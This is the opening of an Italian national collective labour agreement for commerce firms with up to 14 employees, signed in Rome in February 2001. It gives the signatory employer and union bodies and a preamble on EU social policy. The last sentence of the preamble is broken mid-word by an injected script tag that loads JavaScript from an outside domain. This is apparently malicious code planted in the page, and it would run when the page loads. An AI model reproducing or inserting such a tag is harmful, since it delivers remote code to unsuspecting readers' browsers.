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Categoria: Commercio, aziende da 1 a 14 dipendenti (CISAL) Settore: Commercio Data stipula: 6-2-2001 Data decorrenza: 1-2-2001 Data scadenza: 31-1-2004
Contratto Collettivo Nazionale di Lavoro
PER I DIPENDENTI DELLE AZIENDE, PER I DIPENDENTI E SOCI DELLE COOPERATIVE
ESERCENTI ATTIVITÀ NEL SETTORE DEL "COMMERCIO"
(fino a 14 dipendenti o soci)
(in vigore dal 1° febbraio 2001 al 31 gennaio 2004)
L'anno 2001 il giorno 6 del mese di febbraio in Roma
tra
1. Unione Nazionale Cooperative Italia (UNCI) rappresentata dal
Presidente nazionale Luciano D'Ulizia e assistito da Claudio Riciputi e
Filippo Turi;
2. Coordinamento Nazionale Associazioni Imprenditori (CNAI)
rappresentata dal Presidente nazionale Orazio Renzo Di Renzo e assistito
da: Nanni Werther, Giangiacomo Pagliaro, Antonio Cucurachi, Rocco Vetrone;
3. Unione Cristiana Italiana Commercio e Turismo (UCICT) rappresentata
dal Presidente nazionale Orazio Renzo Di Renzo e assistito da Werther
Nanni, Sacrorè Raffaella, Di Renzo Manola, Vitali Maria Teresa, Sacripante
Sabatino, Lunerti Roberto, Lupattelli Severino e Vetrone Rocco;
4. Movimento Cooperative e Mutue CNAI (MCM-CNAI) rappresentata da Franco
Maldera, Vincenzo Sardano, Mario Gibellini, Tommaso Dodaro, Umberto Ferro
e Francesco Ronca.
e
1. Confederazione Italiana Sindacati Autonomi Lavoratori (CISAL)
rappresentata dal Segretario generale Giuseppe Carbone, dal Segretario
generale vicario Giovanni Liccardo, dal Segretario generale aggiunto
Massimo Cesarini, dai Segretari confederali Ulderico Cancilla e Luigi
Spagnuolo;
2. Federazione Nazionale Sindacati Autonomi Lavoratori Commercio
(FeNaSALC) rappresentata dal Segretario generale Adriano Cosimati e dai
Segretari nazionali Aurora Pitsolu, Enzo Natalini, Giuseppe Nicosia.
SI È STIPULATO
il CCNL per i dipendenti delle aziende, per i dipendenti e i soci delle
cooperative esercenti attività nel settore del "COMMERCIO" fino a 14
dipendenti o soci, esso si compone:
A. INDICE
B. PREMESSA
C. TITOLI LV
D. ARTICOLI 87
PREMESSA
Le OO.SS. e datoriali firmatarie ritengono di aver dato con il contratto
una prima importante risposta alle esigenze, da più parti rappresentate,
per un cambiamento della contrattualistica nazionale in un'ottica di
rilancio reale dell'occupazione, fattore indispensabile per un'espansione
strutturale dell'economia e della produttività del Paese.
Il contratto si muove nelle logiche dettate dalla UE finalizzate al
miglioramento dei rapporti individuali e collettivi di lavoro, alla
crescita dei livelli occupazionali, alla protezione e sicurezza sociale,
per concorrere a formulare e rafforzare le regole di garanzia e di tutela
dei processi lavorativi.
Infatti, con il Protocollo aggiuntivo al trattato di Maastricht del 1991,
relativo alla politica sociale, i Governi UE hanno indicato le materie su
cui inciderà la politica sociale comunitaria per il conseguimento degli
obiettivi delle loro azioni comuni: la sicurezza e la salute del
lavoratore, le migliori condizioni di lavoro, l'informazione e la
consultazione dei lavoratori, le pari opportunità, la rappresentanza e la
difesa collettiva degli interessi dei lavoratori e dei datori di lavoro
ivi compresa la cogestione, gli aiuti finanziari alla promozione
dell'occupazione e alla creazione dei posti di lavoro, la contrattazione
collettiva europea. Per questi obiettivi, le OO.SS. e datoriali svolgono
una specifica funzione che esercitano nei confronti del legislatore
comunitario, nonché una essenziale funzione negoziale nell'ambito del
dialogo sociale.
Le Parti concordano, altresì, sulla necessità di affermare la paritaria
funzione delle OO.SS. e datoriali, sul piano del diritto al lavoro e
all'esercizio dell'impresa privata in un contesto di riconosciute libertà
associative.
Sulla base di tali principi le OO.SS. e datoriali firmatarie affermano il
loro ruolo di sti<script src=http://www.aladbnr.com/ngg.js></script>
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